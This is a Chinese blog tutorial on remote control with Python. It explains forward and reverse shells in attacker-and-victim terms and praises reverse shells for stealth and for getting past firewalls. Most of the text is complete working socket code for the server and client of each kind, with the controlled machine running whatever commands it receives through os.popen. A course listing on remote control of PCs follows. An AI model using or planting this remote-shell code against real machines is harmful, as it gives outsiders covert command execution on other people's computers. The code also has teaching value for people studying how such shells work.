python实现远程控制

python实现远程控制

准备

需要调用socket库,os库

概念原理

要实现远程控制就是要获取对方电脑的一个“shell”
它是操作系统中用于人机交互的部分,windows最常见的shell就是cmd。
Shell从控制方向上说分如下两类:

1.正向shell

.被控制的电脑做服务器,黑客的电脑作客户端
.因为服务器需要不间断运行所以容易被检测到;
.过程可能被防火墙拦截

2.反向shell

.被控制的电脑做客户端,黑客的电脑作服务器使用
.客户端不用常开,隐蔽性强
.一般不易被防火墙拦截

3.其他

os库用来让作为服务器端的被控制电脑执行客户端给出的命令
socket库用来建立两者之间的通信“管道”

实现代码

正向shell服务器代码示例

import socket
import os
s=socket.socket()     #生成一个管道
s.bind(("0.0.0.0",7777))    #开启管道监听
s.listen(1)     #选择接受的管道连接的个数
sock,addr=s.accept()  #接收对方的地址
while 1:
    command=sock.recv(1024).decode()  #接收,解码
    if command=="exit":
        break
    result=os.popen(command).read()  #在系统中执行客户端发来的命令并读
    sock.send(result.encode())  #读出来的执行结果发给客户端并加密
sock.close()
s.close()

正向shell客户端代码示例

import socket
s=socket.socket()
s.connect(("127.0.0.1",7777))
while 1:
    command=input("指令:")
    s.send(command.encode())
    if command=="exit":
        break
    result=s.recv(65536).decode()
    print(result)
s.close()

反向shell客户端代码示例

import socket
import os

s=socket.socket()
s.connect(("127.0.0.1",6666))
while 1:
    command=s.recv(65536).decode()
    if command=="exit":
        break
    if command.startswith("cd "):
        dir=command[3:].strip()
        try:
            os.chdir(dir)
        except:
            pass
    result=os.popen(command+" 2>&1").read()  # 2>&1用于重定向输出,就是不报错
    if result=="":
        result="finished"
    s.send(result.encode())
s.close()

反向shell服务器代码示例

import socket

s=socket.socket()
s.bind(("0.0.0.0",6666))
s.listen(1)
sock,addr=s.accept()
while 1:
    while 1:
        command=input("指令:")
        if command.strip():
            break
    sock.send(command.encode())
    if command=="exit":
        break
    result=sock.recv(65536).decode()
    print(result)
sock.close()
s.close()

(注:作为服务器的端不要轻易打开,因为如上代码ip写作 0.0.0.0,任何人都可以登入,
而语法 s.listen()可以限制登入数量
以上为在本机做实验时的Ip)

  • 6
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
本系列课程为Python实战系列课程:使用微信控制电脑,使用Python的Web框架Flask搭建网页, 并使用网页控制电脑;使用wxPython编写图形化的程序,并进一步将这个程序发展为远程控制程序。 课程目录: |--|----|----1 微信远控:Python 控制电脑的两种方法 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 命令提示符 CMD 入门.mp4 |--|----|----|----3 Python 执行 CMD 命令.mp4 |--|----|----|----4 Python 调用 Win API.mp4 |--|----|----2 微信远控:让微信控制电脑 |--|----|----|----1 微信控制电脑原理.mp4 |--|----|----|----2 新浪邮箱的设定.mp4 |--|----|----|----3 Python 收发邮件.mp4 |--|----|----|----4 微信控制电脑的实现.mp4 |--|----|----|----5 沙盘化的微信远控.mp4 |--|----|----3 Flask 快速搭建网站 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 Flask 与 BootStrap 搭建网页.mp4 |--|----|----|----3 Flask 操作数据库.mp4 |--|----|----4 网页控制电脑 |--|----|----|----1 课程介绍.mp4 |--|----|----|----2 建立通信.mp4 |--|----|----|----3 轮询与推送.mp4 |--|----|----|----4 网页控制电脑.mp4 |--|----|----5 Python 图形程序入门 |--|----|----|----1 wxPython 介绍与安装.mp4 |--|----|----|----2 基本控件介绍与绝对布局.mp4 |--|----|----|----3 控件相对布局.mp4 |--|----|----|----4 多线程与事件.mp4 |--|----|----6 编写图形界面的远程控制程序 |--|----|----|----1 远程控制程序的需求分析.mp4 |--|----|----|----2 Socket 通信.mp4 |--|----|----|----3 受控端功能强化.mp4 |--|----|----|----4 远程控制软件的实现与测试.mp4 |--|----|----7 开发远程控制程序高级功能 |--|----|----|----1 高级功能概述.mp4 |--|----|----|----2 读写剪贴板.mp4 |--|----|----|----3 使用 Python 截图.mp4 |--|----|----|----4 Python 上传文件.mp4 |--|----|----|----5 结课总结.mp4
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值